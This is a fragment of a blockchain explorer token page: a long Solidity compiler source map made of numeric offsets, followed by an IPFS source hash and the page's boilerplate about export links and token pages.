33;;;;;;;;:40;;-1:-1:-1;;8203:40:0;;;8239:4;8203:40;;;;8258:27;:36;;;;;;:44;;;;;;8317:14;:22;;;;;;;8126:225;-1:-1:-1;;;;;8363:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8415:32;;6219:25:1;;;8415:32:0;;6192:18:1;8415:32:0;;;;;;;7864:591;;;:::o;5654:1435::-;-1:-1:-1;;;;;5760:20:0;;5752:70;;;;-1:-1:-1;;;5752:70:0;;5058:2:1;5752:70:0;;;5040:21:1;5097:2;5077:18;;;5070:30;5136:34;5116:18;;;5109:62;-1:-1:-1;;;5187:18:1;;;5180:35;5232:19;;5752:70:0;4856:401:1;5752:70:0;-1:-1:-1;;;;;5841:23:0;;5833:71;;;;-1:-1:-1;;;5833:71:0;;3074:2:1;5833:71:0;;;3056:21:1;3113:2;3093:18;;;3086:30;3152:34;3132:18;;;3125:62;-1:-1:-1;;;3203:18:1;;;3196:33;3246:19;;5833:71:0;2872:399:1;5833:71:0;-1:-1:-1;;;;;5941:17:0;;5917:21;5941:17;;;:9;:17;;;;;;5977:23;;;;5969:74;;;;-1:-1:-1;;;5969:74:0;;3881:2:1;5969:74:0;;;3863:21:1;3920:2;3900:18;;;3893:30;3959:34;3939:18;;;3932:62;-1:-1:-1;;;4010:18:1;;;4003:36;4056:19;;5969:74:0;3679:402:1;5969:74:0;6098:8;;-1:-1:-1;;;;;6079:27:0;;;6098:8;;6079:27;6078:51;;;;-1:-1:-1;6112:7:0;;;;:16;6078:51;6074:146;;;6172:4;;6146:23;:30;6191:10;:17;;-1:-1:-1;;6191:17:0;6204:4;6191:17;;;6074:146;6260:8;;-1:-1:-1;;;;;6241:27:0;;;6260:8;;6241:27;6240:50;;;;-1:-1:-1;6274:7:0;;;;:15;;:7;:15;6240:50;6236:155;;;-1:-1:-1;;;;;6307:35:0;;;;;;:24;:35;;;;;:42;;-1:-1:-1;;6307:42:0;;;6345:4;6307:42;;;;6364:7;:15;;;;;;;6236:155;-1:-1:-1;;;;;6411:32:0;;;;;;:24;:32;;;;;;;;6407:452;;6483:10;;6474:6;:19;6469:76;;;6515:14;;;;6584:23;;6575:6;:32;6567:41;;;;;;6627:10;;;;:18;;:10;:18;6623:225;;;-1:-1:-1;;;;;6670:35:0;;;;;;:27;:35;;;;;;;;:43;;:35;:43;6666:106;;;6738:14;;;;-1:-1:-1;;;;;6790:35:0;;;;;;:27;:35;;;;;:42;;-1:-1:-1;;6790:42:0;6828:4;6790:42;;;6623:225;6899:6;6946:25;6899:6;6946:13;:25;:::i;:::-;-1:-1:-1;;;;;6926:17:0;;;;;;;:9;:17;;;;;;:45;;;;6982:20;;;;;;;;:33;;7006:9;;6926:17;6982:33;;7006:9;;6982:33;:::i;:::-;;;;;;;;7050:9;-1:-1:-1;;;;;7033:38:0;7042:6;-1:-1:-1;;;;;7033:38:0;;7061:9;7033:38;;;;6219:25:1;;6207:2;6192:18;;6073:177;7033:38:0;;;;;;;;5741:1348;;5654:1435;;;:::o;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:70;;177:1;174;167:12;111:70;14:173;;;:::o;192:160::-;257:20;;313:13;;306:21;296:32;;286:60;;342:1;339;332:12;357:186;416:6;469:2;457:9;448:7;444:23;440:32;437:52;;;485:1;482;475:12;437:52;508:29;527:9;508:29;:::i;:::-;498:39;357:186;-1:-1:-1;;;357:186:1:o;548:260::-;616:6;624;677:2;665:9;656:7;652:23;648:32;645:52;;;693:1;690;683:12;645:52;716:29;735:9;716:29;:::i;:::-;706:39;;764:38;798:2;787:9;783:18;764:38;:::i;:::-;754:48;;548:260;;;;;:::o;813:328::-;890:6;898;906;959:2;947:9;938:7;934:23;930:32;927:52;;;975:1;972;965:12;927:52;998:29;1017:9;998:29;:::i;:::-;988:39;;1046:38;1080:2;1069:9;1065:18;1046:38;:::i;:::-;1036:48;;1131:2;1120:9;1116:18;1103:32;1093:42;;813:328;;;;;:::o;1146:460::-;1232:6;1240;1248;1256;1264;1317:3;1305:9;1296:7;1292:23;1288:33;1285:53;;;1334:1;1331;1324:12;1285:53;1357:29;1376:9;1357:29;:::i;:::-;1347:39;;1405:35;1436:2;1425:9;1421:18;1405:35;:::i;:::-;1395:45;;1459:35;1490:2;1479:9;1475:18;1459:35;:::i;:::-;1449:45;;1513:35;1544:2;1533:9;1529:18;1513:35;:::i;:::-;1146:460;;;;-1:-1:-1;1146:460:1;;1595:3;1580:19;1567:33;;1146:460;-1:-1:-1;;1146:460:1:o;1611:254::-;1679:6;1687;1740:2;1728:9;1719:7;1715:23;1711:32;1708:52;;;1756:1;1753;1746:12;1708:52;1779:29;1798:9;1779:29;:::i;:::-;1769:39;1855:2;1840:18;;;;1827:32;;-1:-1:-1;;;1611:254:1:o;2270:597::-;2382:4;2411:2;2440;2429:9;2422:21;2472:6;2466:13;2515:6;2510:2;2499:9;2495:18;2488:34;2540:1;2550:140;2564:6;2561:1;2558:13;2550:140;;;2659:14;;;2655:23;;2649:30;2625:17;;;2644:2;2621:26;2614:66;2579:10;;2550:140;;;2708:6;2705:1;2702:13;2699:91;;;2778:1;2773:2;2764:6;2753:9;2749:22;2745:31;2738:42;2699:91;-1:-1:-1;2851:2:1;2830:15;-1:-1:-1;;2826:29:1;2811:45;;;;2858:2;2807:54;;2270:597;-1:-1:-1;;;2270:597:1:o;6444:128::-;6484:3;6515:1;6511:6;6508:1;6505:13;6502:39;;;6521:18;;:::i;:::-;-1:-1:-1;6557:9:1;;6444:128::o;6577:125::-;6617:4;6645:1;6642;6639:8;6636:34;;;6650:18;;:::i;:::-;-1:-1:-1;6687:9:1;;6577:125::o;6707:380::-;6786:1;6782:12;;;;6829;;;6850:61;;6904:4;6896:6;6892:17;6882:27;;6850:61;6957:2;6949:6;6946:14;6926:18;6923:38;6920:161;;;7003:10;6998:3;6994:20;6991:1;6984:31;7038:4;7035:1;7028:15;7066:4;7063:1;7056:15;6920:161;;6707:380;;;:::o;7092:127::-;7153:10;7148:3;7144:20;7141:1;7134:31;7184:4;7181:1;7174:15;7208:4;7205:1;7198:15

Swarm Source

ipfs://29d94d2e02fb2bb34033b3f3934fc7276c7c0205026af8d07d5413e0e59c4ebb
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.